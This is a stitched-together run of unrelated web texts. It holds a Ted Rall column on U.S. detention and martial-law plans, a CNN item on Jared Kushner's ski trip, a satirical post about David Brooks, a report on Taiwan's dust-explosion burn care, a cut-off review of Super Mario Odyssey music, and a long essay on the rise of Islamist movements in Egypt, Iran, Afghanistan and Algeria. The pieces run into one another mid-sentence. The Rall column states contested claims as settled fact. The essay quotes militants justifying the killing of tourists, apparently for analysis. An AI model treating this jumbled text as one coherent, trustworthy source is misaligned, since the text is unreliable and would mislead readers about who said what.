As has happened with increasing frequency in recent years, another blockbuster story revealing the anti-democratic impulse within the top echelon of the U.S. government has appeared and vanished overnight. According to Cold War-era files declassified last week, FBI director J. Edgar Hoover repeatedly advised President Harry Truman to arrest "all individuals potentially dangerous" to national security, jail them in military prisons and try them before kangaroo tribunals that "will not be bound by the rules of evidence."
"For a long period of time the FBI has been accumulating the names, identities and activities of individuals found to be potentially dangerous to the internal security through investigation," Hoover wrote in a 1950 memo. "These names have been compiled in an index, which index has been kept up to date."
Capitalizing on anti-communist hysteria at the start of the Korean War, Hoover asked Truman to preemptively detain 12,000 people, 97 percent of them American citizens, in order to "protect the country against treason, espionage and sabotage."
Hoover was a lunatic. Truman ought to have fired him on the spot. Instead, in September 1950 Congress took his advice and passed a law authorizing the detention of "dangerous radicals" if the president declared a national emergency. Truman signed it. In fact, he declared such an emergency three months later. No one knows why, but the president never actually followed through with mass arrests. Hoover's "subversives"--people suspected of left-wing political sympathies--remained free. He was wrong. There were no acts of sabotage.
It wasn't the first time the government went "crazy."
Between 1919 and 1921 the Bureau of Investigation (predecessor of the FBI) carried out the Palmer Raids, named for Alexander Palmer, Woodrow Wilson's attorney general. The BOI rounded up 10,000 lefties, anarchists and foreigners on a list compiled by a young J. Edgar Hoover, then in charge of the Justice Department's General Intelligence Division. Many were tortured. Five hundred fifty were deported.
Palmer's clampdown accomplished nothing. On September 16, 1920, a bomb attributed to anarchists went off on Wall Street, killing 38 people and wounding over 400.
Crazy...like a fox.
During the 1960s and 1970s the CIA--in violation of its charter, which limits the agency to acting overseas--cooperated with local police departments across the country to compile a list of 300,000 Americans and organizations suspected of opposing the Vietnam War.
On April 6, 1984, President Ronald Reagan signed National Security Decision Directive No. 52. Reagan targeted 400,000 people for arrest and confinement at concentration camps in mothballed Army bases. The National Security Council's "secret government within a government," as Congressional investigators later described it, planned to cancel the 1984 presidential election so Reagan could remain in office indefinitely.
"Lt. Col. Oliver North, for example, helped draw up a controversial plan to suspend the Constitution in the event of a national crisis, such as nuclear war, violent and widespread internal dissent or national opposition to a U.S. military invasion abroad," The Miami Herald reported on July 5, 1987.
People who hate The People never sleep. In 2006 Congress passed the National Defense Authorization Act, which overturns the Posse Comitatus Act of 1878, which prohibited the use of combat troops on the soil of the United States. For the first time in 128 years, the president can declare martial law in case of a hurricane, riot or terrorist attack. In May 2007 Bush attached a National Security Presidential and Homeland Directive to the National Defense Authorization Act. In case of a "national emergency"--the president could declare it without consulting anyone--he could suspend the Constitution and appoint an unelected provisional government under a "national continuity coordinator."
To an optimist, America's brushes with fascism seem like comforting evidence that the system works. Despite it all, even taking into account grotesqueries such as the concentration camps for Japanese-Americans during World War II, the First Amendment remains in force. Few Americans feel threatened by government tyranny. Few worry about getting shot by trigger-happy soldiers or being detained in concentration camps (unless they're flood victims in New Orleans).
So why does a democracy need fascist schemes like Reagan's Rex-84 Alpha Explan (a FEMA plan to put American protesters against a planned war against Nicaragua into camps)? Because American democracy is an iron fist in a velvet glove, a glove that's becoming increasingly transparent.
Threats of repression are rarely carried out. They don't need to be.
If potential opponents are afraid, there's little need for concentration camps. The threat of repression (and actual crackdowns, explained away as exceptional excesses and brushed off with a token apology) creates a chilling effect on people who might pick up a rock instead of a sign.
A dog doesn't have to bite everyone every day to earn a fearsome reputation. Mount cameras all over the place, and you don't need to have anyone actually watching on the other side.
In a country whose legal framework authorizes the government to kidnap, torture and murder them, opponents of U.S. policy must decide whether getting out of line--anything from a letter to the editor to direct action--is worth the risk of getting kidnapped, tortured and murdered.
_______
About author Ted Rall is the author of " Ted Rall is the author of " The Anti-American Manifesto." His website is tedrall.comStory highlights Aides in Washington toiled all week trying to get the health care reform bill over the finish line
But Jared Kushner, the President's adviser and son-in-law, was out West skiing
Washington (CNN) While the rest of his senior staff scrambled to squeeze votes for President Trump's flailing health care package, one person remained notably absent for most of the week: Jared Kushner.
Along with this wife, Ivanka Trump, another key cog in the president's inner circle, Kushner was on vacation until Thursday, skiing with family in the posh Colorado town of Aspen. Paparazzi caught Jared and Ivanka taking leisurely strolls, enjoying ice cream cones with their three kids and winding their way down the slopes.
Meanwhile, back in Washington, Trump was fuming. According to a source close to the president, "[Trump] is upset that his son-in-law and senior adviser was not around during this crucial week." Kushner did appear at the White House on Friday during the last gasps of the Obamacare repeal effort.
A White House spokesperson flatly denied the President is frustrated with Kushner.
But it was clearly a busy week at the White House. As the health care bill teetered on the precipice without enough Republican votes to pass it, White House press secretary Sean Spicer said the President "left everything on the field" in his efforts to get the bill passed. Republicans ultimately pulled the bill without a vote, a blow to Trump's early agenda.
Read MoreI mean obviously the first and most important point is: Mazel tov! After a few years of harrowing personal crisis for America’s Foremost Moral Decay Diagnostician, our boy David Brooks has at last found love, and gotten married (to his 23-years-younger former research assistant)!
Yes, things are looking up for ol’ Dave. No longer must he stalk the dim corridors of an empty home, toga’d in soiled linens but shrouded, metaphorically, in despair, declaiming about the death of civic virtue with an ice-cream sandwich hanging out of his mouth. Now he can do marital congress in the sight of God! Now, all is right with the world! Including, quite suddenly, Donald Trump:
Second, Trump’s competency level has risen from catastrophic to merely inadequate. In the first few weeks, Trump was shooting himself in the foot on an hourly basis. But as time has gone by, he has hired better people and has shifted power within the White House to those who are trying to at least build a normal decision-making process. His foreign policy moves have been, if anything, kind of normal. His administration has committed to NATO, backed off his China bashing, confirmed Iran’s compliance with its nuclear agreement obligations and exercised some restraint on North Korea. Third, Trump has detached himself from the only truly revolutionary movement of our time. If the current world order is going to really be disrupted, it will be because a U.S. president taps into the anger seething among the globe’s rural working classes. It will be because the U.S. leads a coalition of the global populist strongmen. Trump seemed inclined to do that a few months ago, but not today. Sure, he’ll send out a pro-Le Pen tweet, but Trump has mostly switched from being a subversive populist to being a conventional corporatist. His administration-defining motif now is being pro-business — lightening regulations, embracing the Export-Import Bank and offering to lower corporate taxes.
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This is quite a departure for Dave! Only two weeks ago, we were in a full-blown “Crisis of Western Civ”; two weeks before that, he peered between the dusty blinds of his lonely hovel and foresaw “The Coming Incompetence Crisis.” As recently as February, the 21st century itself was “broken”; the United States had a “death wish”; Trump would not finish a single term in office. Seems something has changed... perhaps sexily.
Yes, how nice it is to have a secure place to store your peener, and to be the kind of millionaire boomer quasi-academic who can, in the opinion pages of the New York Times, read all the human condition into the dust patterns on your hog. Corporate prosperity is secure; ethnonationalist abusiveness is not a problem for the people who matter. David Brooks can spoon in the good graces of nonspecific Western moral tradition; turns out, the republic is safe after all.
Anyway, here is a link to the happy couple’s wedding registry.
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I can’t decide between the Vitamix Professional Series Heritage 750 Blender (they only need to raise 600 more bucks to get it!) and the OXO Good Grips Oven Mitt With Magnet.A horrible dust explosion at the Formosa Fun Coast recreational water park in Bali, New Taipei City, in June last year, which caused 12 deaths and more than 500 injuries — 300 with burns on more than 60% of their body — made headlines worldwide. A year later, Taiwan's ability to handle the complex emergency has drawn the attention of several countries that want to learn from its experience.
Last month, the E.U. invited a commitee from Taiwan to share its experiences dealing with burn patients on such a large scale.
The June 27 explosion was the largest public safety incident since the 1999 Jiji Earthquake (also known as the 921 Earthquake), which left more than 2,400 dead.
According to Business Today, the dust explosion broke the world record for the amount of burn patients, but the overall death rate was 2.4%. Among the reasons for the low death rate were the rapid spiriting of patients to hospitals all over the nation, the activation by all the medical facilities involved of mass-casualty incident management systems, and an effective division of the workload.
Following the incident, the government promised to loosen the standards for victims seeking compensation and imported large quantities of transplant tissue for skin grafting.
In an interview with the Central News Agency in January, Stephen Milner, director of the Burn Center at Johns Hopkins University School of Medicine, said the U.S. has no experience dealing with large numbers of burn victims and that countries should learn from how Taiwan dealt with the incident.
James Fauerbach, a clinical psychologist, told CNA that while physiotherapy centers for the Sept. 11, 2001, terrorist attacks in the U.S. were scattered all over the country, the victims of the dust explosion in Taiwan were brought to select rehabilitation centers so they could undergo physiotherapy together. With such peer support, the institutes were able to provide better integrated healthcare services.
Wang Tsung-hsi (王宗曦), director of the Department of Medical Affairs under the Ministry of Health and Welfare, told the Liberty Times that the international community was curious to find out more about how Taiwan launched its emergency medical system and successfully treated all patients.
The E.U. conference was held May 25-27. Taiwan was the only non-E.U. country invited.
Sources:
Business Today
Liberty Times Net
The News LensLike Super Mario Odyssey itself, the music (composed by Naoto Kubo, Shiho Fujii and Koji Kondo) is a brilliant blend of delightful nostalgia and clever, catchy new ideas. The music heightens the gameplay experience, while also smartly finding ways to make sure gamers pay attention to it; going through your song collection to pick the right tunes for a musically inclined Toad is the only way to collect all the moons. Take the standout song of Odyssey, "Jump Man, Super Star!" It's an immediate earworm that brilliantly capitalizes on the legacy of the Mario franchise while also standing out as a new approach to music for the series. Contrast that with the tune you hear the first time you enter Peach's Castle and the way it capitalizes on the history players have with these games, and Super Mario Odyssey's score easily stands out as one of the |
a private matter.
Secular nationalism scored impressive victories, particularly in achieving independence, though it failed to bring about Arab unity. But by the 1970s it was reaching the end of its rope. It had achieved about all it could achieve, and brought little but frustration and dislocation to vast masses of the population. It was running up against the limits of the capitalist world market, limits that no amount of nationalist militancy could budge. Its success now seemed a wretched and pale thing compared to the glorious Islamic past.
The Arab states were humiliated by Israel in the June War of 1967. In the 1970s, Egypt moved towards the USA both diplomatically and economically, opening the country to foreign investment; it also negotiated a peace treaty with Israel (after another war, in 1973, in which the Arab states did considerably better). Other radical states followed suit in economic policy, though not on the question of Israel. The new economic policy - Sadat called it 'infitah', opening - led to an attack on the system which had cemented popular support for the regimes. In 1977 there were strikes and riots when Sadat tried to remove subsidies from basic foods; on that occasion he was defeated, but over the next decade or so the subsidies were largely removed anyway. The state's promise of jobs to graduates began to prove costly. Soon unemployed students were a major pool of discontent. The government of Hosni Mubarak, which succeeded Sadat, became more and more repressive, especially towards Islamists, as resistance grew.
Elsewhere in the Arab world, a different process was taking place. In the oil-rich Arab states feudalistic/tribal monarchies, with colonial aid, transformed themselves into capitalist classes. In 1973, hiking the price of oil fourfold, the shaykhdoms became immensely wealthy. These ruling classes have enforced strict Islamic codes at the same time as gross inequalities have emerged as a result of oil wealth. In the biggest and most powerful state, Saudi Arabia, a tribal and puritanical Islamic sect, Wahhabism, has been the official religion of the government.
All the regimes, pro-western or more vocally nationalist and (until 1989-91) USSR-aligned, were authoritarian, often military in origin, sometimes brutally repressive. By the end of the 1970s they had generated vast sectors in their population for whom they represented nothing but broken promises, disappointment, disruption of traditional certainties, corruption, and shiftlessness. Partly because of the relative social weakness of the working class proper, but more decisively because the left, mostly Stalinist, had tailed the secular nationalists, the left had little appeal to those disillusioned masses. The Islamist movements were growing, entering the mainstream of politics as well as the radical fringes.
2. The Islamist movements
Modern Islamist groups aim for an Islamic state, that is a government which bases itself on Islamic law, the shari'a, a system established about two centuries after the death of Muhammad and then maintained, with fluctuating degrees of erosion, into the 20th century. In the violence of its punishments (amputations, lashes, stonings, death) the shari'a naturally reflects the norms, values, and level of development of its time, 1,200 years ago. Parts of it draw on the social norms of the constantly-warring, clannish society of Arabia at the time of Muhammad; parts (notably the veiling, segregation, and subordination of women) on traditions of the extreme subordination of women in the territories the Muslim armies conquered; and parts on the need to rationalise the fact that as the Islamic empires consolidated, the Muslims came to constitute large class-divided societies, instead of being the cohesive military elite that they were at the time of the first conquest. For the Islamists, though, it has the sheen of a bygone age of harmony and order.
Islam, like Judaism and unlike Christianity, has generally been a religion expressed in public law rather than more abstract theology, private ethics or mysticism. Traditionally the interpretation of that law was the job of the ulema, the Muslim scholars, the rough equivalent in Islam of the Christian clergy. Khomeini in Iran, as we shall see, was an exception, but most modern Islamist theorists have not been clerics; they are Islamic 'Protestants', asserting the original text (or their understanding of it) against the worldly-wise or pliant.
The Islamists appeal - ostensibly at least - to the Umma, the broad Islamic community, rather than to 'the nation' (whether the Arab nation or a more narrowly defined one). For most modern, militant Islamists, their aim is both to revive, purge, and radicalise the Umma, and to extend it.
i. Egypt
It was in Egypt that the first Islamist organisation was founded - the Society of Muslim Brothers, by Hassan al-Banna in 1928. Arguably the early Muslim Brotherhood was closer to traditional Islamic revivalism than to modern Islamism, but in any case its history flows directly and continuously into that modern Islamism.
Egypt at the time was a British protectorate ruled by an unpopular king. The nationalist movement (principally the Wafd Party) was militant, but had proved unsuccessful, and was thoroughly bourgeois, making little effort to mobilise its popular support around social questions. The Muslim Brothers began as a conservative movement for social reform, aiming to encourage Egyptians - and later Muslims elsewhere - to rediscover their Islamic heritage and behave like proper believers. Its base, like that of later Islamist groups, was among the urban middle class, the 'effendis'.
Gradually al-Banna's organisation moved in a more overtly political direction. In the 1936-39 Arab revolt against Jewish settlers and British rulers in Palestine, they sent fighters. They played a part in making the question of Palestine, even at that early stage, an 'Arab' or regional issue. At the same time, the Brothers moved further towards armed, terrorist-type action.
They had an uneasy relationship with the nationalist parties, but by the late 1940s, when al-Banna was assassinated, had developed a considerable base.
In 1952 the Free Officers overthrew the king and kicked out the British. Some of them had links with the Brothers. For a short while the Brothers supported, and even took part in, the new government. But they were hostile to the land reform which broke the power of the landlords, and quite soon the Brothers found themselves under arrest and facing persecution. As the regime became more radical, and began to introduce 'Arab socialism' [state ownership], the Brothers opposed such atheistic heresy. They faced intense repression, along with other oppositional forces like the Communist Party. In the mid-60s, accused of an attempt on Nasser's life, thousands of them were rounded up.
One of those arrested, and executed along with other leaders of the movement in 1966, was Sayyid Qutb, who was probably the real intellectual founder of modern militant Islamism, at least in those lands where the Sunni (more Protestant-like) version of Islam dominates rather than the minority Shi'a (more Catholic-like) version centred in Iran.
Qutb developed his distinctive ideas after the Egyptian Ministry of Education, for which he worked as an official, sent him to the USA in 1948-51 to study American methods of schooling. He returned to Egypt with an uncompromising hatred for the West and all its works. Qutb's rejection of the West was not that of the conservative concerned with preserving his culture's traditions against foreign encroachments, but rather that of the 'born-again Muslim' who having adopted or absorbed many modern influences makes a show of discarding them in his search for personal identity and cultural authenticity.
After his arrest, Qutb wrote his famous work, Signposts, which is the first clear statement of the aims and worldview of the sects we now think of as Islamist, and is required reading for the cadre of these groups. Qutb defined the regime itself as part of the 'infidel' problem. Society was divided into the Party of God and the Party of Satan. The Islamist movement was surrounded by a swamp of ignorance and unbelief (jahiliyya, the term used to describe the society of Arabia before the coming of Muhammed). The creation of an Islamic government was not just a culturally preferable alternative, but a divine imperative. The method of creating it would be jihad, or holy war. (For some Muslims, jihad can mean private spiritual striving, but for Islamist groups it increasingly means, very literally, war.) It is unclear if Qutb himself would have wholeheartedly approved of the modern groups who claim his legacy; but he spelled out the main themes of modern militant Islamism.
As Sadat moved away from Nasserist state-capitalism in the 1970s, the Muslim Brothers re-emerged from their eclipse by repression. Sadat was initially warm towards them. He had broken with the USSR; his new economic policy was unpopular, and opening up dangerous space on his left (both within the regime and outside it). The Brothers were a useful counterbalance. More, Sadat flirted considerably with using Islam as a source of legitimacy as Nasserist ideology was put out to grass: he made much of his own commitment to the faith, and introduced Islamic laws - stoking communal antagonism between Muslims and Egypt's extremely large Christian minority.
The Brothers were still technically illegal, but they grew in the 1970s. And more radical schisms began to emerge. A group called the Islamic Liberation Organisation attempted a coup in 1974, seizing the Technical Military Academy in Cairo. The ILO had links with other Islamist groups abroad. In January 1973 it had published its manifesto, which claims, for instance:
'Liberation is a means, not an end... When we fight for the liberation of Palestine, we do not fight... for the sake of getting back our homeland, but for the glorification of the word of God... We fight to transform every Dar al-kufr [reign of unbelief] into Dar al-Islam, whether its people are Muslims as in Pakistan, or infidels as in India.'
A better known group, Takfir wa Hijra (roughly, Atonement and Exile - hijra refers to Mohammed's leaving Mecca for Medina), assassinated a teacher at al-Azhar, Cairo's prestigious mosque-university, who was also minister for religious endowments. When Sadat made peace with Israel, signing a peace treaty in 1978 at Camp David, he had effectively signed his own death warrant. The militant group al-Jihad had formed cells in the army. In 1981, as Sadat was admiring his troops on the anniversary of the 1973 war, Khaled Islambouli shot him dead.
There followed a period of intense upheaval. Islamists in the town of Asyut, where they were strong, attempted an uprising which was crushed. The new regime of Hosni Mubarak began to arrest, imprison and torture Islamists or suspected Islamists in huge numbers - thousands of them - a tradition it has continued ever since.
Chukri Mustapha, an agricultural engineer considered the 'emir', or leader, of Takfir wa Hijra, expressed his ideology thus:
'God be praised. He will prepare the land for the group of the just by provoking a war between the two great powers, Russia and America... The war is inevitable, they will destroy each other. God will thus have prepared the land for the Islamic state... Following [this war] the forces of the Muslim nation will be about equal to those of its enemies. It is then that the true Jihad will start.'
As the gama'at islamiyya, the militant groups, began to grow, the Muslim Brothers moved more into the mainstream. By the end of the 70s, they had formally declared their abandonment of terrorist activity. By the late 80s, although unable to stand in elections, they formed electoral pacts, first with the Wafd, then with the so-called Socialist Labour Party (getting 17% of the vote in 1987). More importantly, they established a network of schools, clinics, and even banks - a pattern typical of Islamist movements - and made huge inroads into Egypt's professional associations, mainly among engineers, doctors, and by the late 90s, lawyers, winning a majority in the bar association. The Brothers, in other words, sank deep social roots, with cadres in the urban middle class and support from the unorganised poor. In student bodies, too, both moderate and militant Islamists have grown. Now the Brothers are the best-organised and chief opposition to the Mubarak government. In an attempt to curtail their influence, in addition to repression, the state tried to extend its control over mosques; but there are simply too many of these for such control to be effective.
Moderate and legalistic as they now are, it should not be thought that the Brothers are a benign force in Egyptian political life. When the Muslim academic Nasr Abu Zaid put forward a theory that the Qur'an was read and interpreted differently according to historical context, the Brothers declared him an apostate, drove him from the university, and tried, through the courts, to force his wife to divorce him. The couple fled to Scandinavia.
The weight of the moderate,'reformist' Brothers provides the ideological context for the radical variants. Those have grown increasingly violent. In the 1990s, the militant groups made a turn to assassinating tourists, beginning with the murder of some Israelis in Sinai, and tourists near the pyramids. Then in 1997, an attack was launched at the ancient temple of Hatshepsut at Luxor which left 68 tourists and three Egyptians dead. Other murders have been carried out of Coptic Christians; the Nobel Prize winning author Neguib Mahfuz was stabbed; the outspoken secular journalist Farag Fuda was murdered.
Tala'at Fu'ad Qassim, of the Egyptian Islamist group Gama'a Islamiyya, justifies the murder of tourists like this:
'[Tourism]... is a means by which prostitution and AIDS are spread by Jewish women tourists, and it is a source of all manner of depravities, not to mention being a means of collecting information on the Islamic movement. For these reasons we believe tourism is an abomination which must be destroyed. And it is one of our strategies for destroying the government.'
Indeed, these attacks have crippled Egypt's tourism industry, one of its chief sources of income and foreign exchange. Qassim's group, like Islamic Jihad, has strong links in Afghanistan; Ayman al-Zawahiri of al-Jihad is bin Laden's supposed 'deputy', although there is speculation he is in fact the dominant figure. Al-Jihad seems to be the largest of the militant groups, and has built up influence in slum areas through study groups, distributing literature and audio cassettes with Islamic speeches, providing welfare services, and so on.
A truce was declared between the Islamists and the Mubarak government in 1997. Several thousand detainees were released, although 12,000 or so Islamists remained in prison. After 11 September 2001, though, a new clampdown began.
Secular, or secular-ish, and democratic forces remain alive in Egypt: Islamists are probably still a minority, there are legal left and left-of-centre political parties, and prominent intellectuals who oppose the Islamists. On the other hand, when 52 gay men were arrested on a Nile barge last year - the first time, as far as I know, there has been serious state repression of homosexuals - Egyptian civil rights groups refused to take up their case, probably for fear of Islamist-influenced public opinion.
ii. Iran
The first great victory of the Islamist movements was the Iranian revolution. There is no space here to go into detail. But Iran has shaped and influenced the growth of the Islamist groups, sometimes directly as the 'Islamic Republic' trained and funded some of them.
Iran under the Shah had undergone profound social upheaval. The capital, Tehran, for instance, mushroomed in size (although lots of it was unfinished building sites). In the countryside there was radical land reform; and the state led rapid industrialisation. The working class and 'new petty bourgeoisie' grew rapidly; old social classes, whether in the countryside or in the bazaar (the market) were squeezed (and heavily taxed, as was the mosque). Iran was the richest, most developed, and most heavily armed state in the region, regarded by the United States as its closest ally along with Israel. But the Shah's rule proved to be far more precarious than CIA experts, for instance, believed. There was widespread opposition to the Shah's so-called White Revolution in the 1960s, when Ayatollah Khomeini first emerged as an opponent of the regime, forced into exile in Iraq, and later in Paris. His speeches on cassette were to become very popular.
The movement which, by late 1978, was challenging the regime, was composed of different social actors with incompatible aims. On the one hand there were the urban poor and the industrial working class, especially but not only in the vital oil industry. A general strike was one of the forces which succeeded in toppling the Shah. There was also a large organised left, although principally in the form of guerrilla organisations - the two most important were the Fedayyin, which was avowedly Marxist (influenced, for instance, by Guevarism), and the radical Muslim People's Mujaheddin Organisation. The pro-Moscow Tudeh Party also played a role, although it soon proved to be one of the most right-wing, pusillanimous 'communist' parties on earth.
On the other hand there were the wealthy bazaari merchants, sections of traditional classes rolled back by the White Revolution, and the mosque. These distinct social forces, with distinct aims and interests, temporarily came together for the single aim of removing the hated Shah; but almost immediately the movement fractured into virtual civil war. They came together on a huge scale. Along with the general strike, the mass demonstrations reached a scale rarely seen even in revolutionary movements: millions of people took to the streets, crippling the army's ability to repress them, and indeed splitting the army. The guerrilla organisations fought the army with some success.
For a short period, the working class was centre stage, creating independent workplace organisations, shoras, which could have been further developed in a'soviet'direction, purging managers, taking ever more radical steps in the factories. The chances for working class revolution were very real. The left was strong and confident. Yet the shoras were quickly co-opted by the Khomeini movement; the regime almost immediately turned on the left - and on women, and national minorities - and unleashed a violent, urban mass movement against them. Left-wing organisations had their offices sacked; then the left's stronghold, Tehran university, was physically attacked by the Hizb Allah, a fascistic mass movement. Pasdaran, the'revolutionary guards', attacked demonstrations of unemployed workers. 'Islamic laws' were introduced, women forced to wear the veil, 'prostitutes' and homosexuls executed; the Khomeini regime introduced a reign of terror. 'Imperialism' was declared the enemy, and the left identified as an arm of 'imperialism'; the American Embassy was seized in a demagogic display of anti-imperialist fervour. Then, when Iraq invaded an area of disputed territory in September 1980, the two countries embarked on an horrific eight year war.
How did Khomeini and the clergy come to dominate this revolution, and crush its alternative potential? The mosque had been an independent space during the Shah's rule, outside the regime's capacity for repression, enabling the mullahs to emerge as a leadership for a section of the masses. Religious symbols became powerful means of mobilisation (for instance in the timing of mass demonstrations). Khomeini himself, from abroad, was known as a firebrand opponent of the Shah; by the beginning of 1979 he was seen to 'personify' the revolution.
Other currents of Islamist thought had also become widely known in the decade or so before the revolution, most importantly that of Ali Shariati. Shariati was a lay intellectual who interpreted the struggle against the Shah in terms of reclaiming an indigenous cultural heritage. His ideas were far from Khomeini's, a sort of populist Islamism which even talked about socialism, and was heavily influenced by the thinking of Franz Fanon. In turn the People's Mujaheddin were influenced by Shariati. Other more moderate clerics were associated with Khomeini (some would form successive governments, subordinated to Khomeini himself and his council of experts; they were purged or resigned). Shariati cannot be held responsible for the Islamic Republic, but for sure the general currency of moderate, or even enlightened and secular-oriented, Islamism created a climate in which the profoundly reactionary variant could win leadership.
Khomeini's Islamism was able to appeal to a number of social groups and classes - to the bazaar, which had historic links to the mosque; to the dispossessed poor; to sections of the intelligentsia; and to sections of the middle class to whom he offered 'order'. '[T]he basis of the clergy's opposition to the state was a reactionary resistance to the smallest social reforms. Even its struggle against [the Shah was based] only on intransigent opposition to any change that would diminish or undermine its own traditional prerogatives and power.' Unlike Qutb and other Sunni ideologues, Khomeini proposed not merely an Islamic state but government by a hierarchy of Muslim clerics. In the end, the Islamic Republic was a hybrid of this proposed theocracy and a truncated parliament, but with the clergy firmly in control. It was never quite a totalitarian state, and opposition, especially from a working class whose economic militancy continued throughout the next two decades, and more recently among students, survived. But the organised left was crushed or driven into exile.
This left, famously, never knew what they were dealing with. From the outset, in the main, they supported Khomeini, accepting his 'anti-imperialism' as good coin. Some, like the Tudeh, and what came to be known as the Fedayyin Majority, continued to support him as he suppressed the left, until he turned on them. The Mujaheddin took up arms against Khomeini eventually; but by then it was far too late - and, like the secular left, the Mujaheddin were divorced from the industrial working class. Indeed, the left as a whole had little implantation among industrial workers, and was unable to affect the struggle over the shoras, for example.
But the left's error was not simply that they supported governments or had a tragic misestimation of what governments were about. They fatally misread the nature of the mass movement itself - failed to understand that a section of the mass movement was the regime's brutal battering ram against them. The Iranian revolution, certainly from the viewpoint of the organised left, was lost not in text books or speeches, but on the street.
There was a distinctive Shi'a component to Khomeini-ite Islamism in Iran. The Shi'a are a sect which diverged from mainstream Sunni Islam very early in Islamic history; they are the main sect in Iran, and numerous in surrounding areas (Iraq, Syria, Lebanon, Afghanistan, some in the Arabian peninsula and the Gulf). Unlike the Sunni Islamists, who seek to recreate the centuries immediately following Muhammed's death, which they look to as a golden age, the Shi'a reject the legitimacy of the early Caliphs, and see them as usurpers. Shi'a Islam gives more weight to the temporal authority of the contemporary ulema ('mullahs' in Persian), like Khomeini. The mullahs have historically occupied centre stage in Iranian politics. They were at the heart both of the tobacco protests of 1891-92, and the Constitutionalist movement of 1906.
'[T]he Iranian revolution [was] a direct consequence of the position occupied by the religious leadership... since the 18th century... In addition to acting as tax collectors... the mujtahids and the mullahs... were entitled to a 10 % commission on the waqf properties administered by them. Some of these... constitute very substantial properties.'
The Iranian government has particularly supported Shi'a groups abroad, for example in Lebanon. Shi'a or not, though, other Islamists looked to Iran as an example and an inspiration. The most powerful US ally in the region had fallen, and been replaced by an Islamic Republic. It shocked and terrified the West, and testified to the strength of Islam not only as a political force, but a revolutionary one. Almost immediately, Islamist groups turned the inspiration into action - in Saudi Arabia, in 1979, the hajj, or Mecca pilgrimage, saw an Islamist uprising. In the Muslim world and in the West, 'Islamic fundamentalism' became not just a lurking danger or promise, but a vital force.
Over 20 years on, the situation in Iran gives cause for some optimism. It is possible that the downfall of Islamism could start in the same country as its dramatic rise, with a popular overthrow of the Islamic Republic. A more moderate president, Khatami, was elected in 1997. His election did not change much, but it did signal a changed popular mood. Much of the Islamist mass movement has cooled and congealed into a government machine, as corrupt and opportunist as any of the regimes which Khomeini used to scorn as 'American Islam', and widely despised by young people in the cities. Student revolt broke out in 2000 against repression and censorship. The working class remains militant. And if there is anywhere militant Islamists are unlikely to seize power in the future, it is the country in which they have held it, meting out repression, for two decades.
iii. Afghanistan
In many ways the Taliban and other Afghan Islamists are different from elsewhere - the product of a more backward society, of Russian occupation, of US, Pakistani, and Saudi financial and military-training support. All these factors have created the most virulently reactionary Islamists of all - both among the Afghans themselves, and the non-Afghan forces who have used the country as a base, the so-called 'Afghan Arabs'' like Osama bin Laden.
Eighteen years of war between 1978 and 1996 made Afghanistan a veritable cadre school for Islamism. Maybe 100,000 young men from across the Muslim world came to Afghanistan to fight for Islam. They were trained and hardened militarily and ideologically. Many then went elsewhere in the Muslim world - Bosnia, Algeria, or back to their home countries - as armed prophets of the Islamist message.
iv. Algeria
In Gillo Pontecorvo's marvellous film Battle of Algiers, a Muslim woman dons Western clothes and make-up for the first time in order to go into the French quarter of the city and plant a bomb in a trendy cafe. Later we see the awful consequences of the explosion. The film dramatises a real event, which at the time, in 1956, seemed to be an epoch-marking terrorist atrocity, leaving three dead and dozens maimed. The Algerian war of independence was a bitterly-fought, bloody business in which perhaps a million people died before the French colonial authorities finally withdrew, in 1962. The war had lasted eight years; colonial rule well over a century.
The new government was formed by the National Liberation Front (FLN), the most important of the nationalist forces. Like others elsewhere, it moved quickly in a state-capitalist direction, first radically under Ben Bella, who was overthrown by Houari Boumedienne in 1965. He was succeeded by Chadli Benjedid, who held power until the coup of 1992. The Algerian revolution was far more thoroughgoing and radical than similar movements elsewhere in the Arab world, but it was more hesitant in its secularism, partly because the mosque played a role in the struggle against the French. The National Charter declared 'The Algerian people is a Muslim people... Islam is the state religion.'
The FLN formed a one-party state. It was a Muslim state, but far from an Islamic state in the modern Islamist sense. It nationalised religious schools and institutions. Although promises of women's emancipation made in the nationalist struggle were not fulfilled, they were not flatly disavowed either, not for the elite anyway. Of the women who had planted those bombs in 1956, one became the director of Algeria's Ecole Nationale d'Administration, the other the Algerian representative of the cosmetics firm Max Factor.
An Islamist movement began to emerge in the 60s and 70s, although relatively moderate and reformist; it was influenced by the Muslim Brothers. As popular discontent grew, the Benjedid government began to make concessions, promising liberalisation and democracy. In 1989, emulating the ex-Stalinists in Eastern Europe, it ended the FLN's monopoly on power, and moved towards creating a multi-party system. But no safe bourgeois opposition parties on the East European model emerged. The Islamists, grouped together in the Islamic Salvation Front (FIS), a coalition of groups led by the Islamist moderate Shaykh Ali Abassi Madani, became by far the largest opposition group.
The Islamists had won their first core activists among young, educated, urban middle-class men, and, as elsewhere, built their support through welfare work in the communities, among the poor and the middle class, and through the mosques. They had taken over'minor' mosques in peripheral areas. People discontented with the FLN regime, though not necessarily positively committed to Islamist ideas, rallied to the FIS as the most effective opposition.
There were tensions in the FIS between Madani - a Francophone moderate - and Ali Belhadj, an Arab-Islamic militant, originally from Tunisia. Publicly, the FIS sometimes professed itself committed to the multiparty system, to democratic institutions, and to minority rights. But then Khomeini, right up until his victory, had said that what he wanted was the restoration of Iran's liberal 1906 constitution. Many Algerians were afraid of the growth of the FIS. There are a large number who still speak French as a first language; others are Berbers, not Arabs; and the Islamists were stridently Arabist. Algeria's significant feminist movement was alarmed. And many Algerians have strong links with the Arab community in France, 'westernised' and often relatively secular, sometimes interested in rap and rai music, which the Islamists condemned.
Unlike other regimes which have permitted political liberalisation, the Algerian government allowed the Islamists to compete in elections. The FIS's programme was relatively moderate; in economics it was positively liberal. But the tensions under the surface would explode over the next few years.
In 1990, in municipal and regional elections, the FIS swept the board. With 65% of the electorate voting, they took 55% of municipal councils and two thirds of the regional assemblies. The FLN did badly - much to their own shock and horror. In all the major cities, the FIS won huge majorities of the vote.
Governmental elections came - to be fought in two rounds. The first were held in December 1991, the first multiparty parliamentary elections since independence. The FLN had gerrymandered as much as possible, but the results were a crushing defeat for the party which had driven out the French. The FLN came third, with just 16 out of 231 seats. The FIS won 188 seats, with almost half the total vote. Second was the Socialist Forces Front, which took 26 seats. Before the second round of elections due, which the FIS was sure to win, the military intervened. There was a coup at the beginning of 1992; the army declared a state of siege, cancelled all elections, banned the FIS and arrested its leaders. More than 10,000 Islamists were held in a concentration camp; their mosques and welfare services were closed. And the country descended rapidly into civil war.
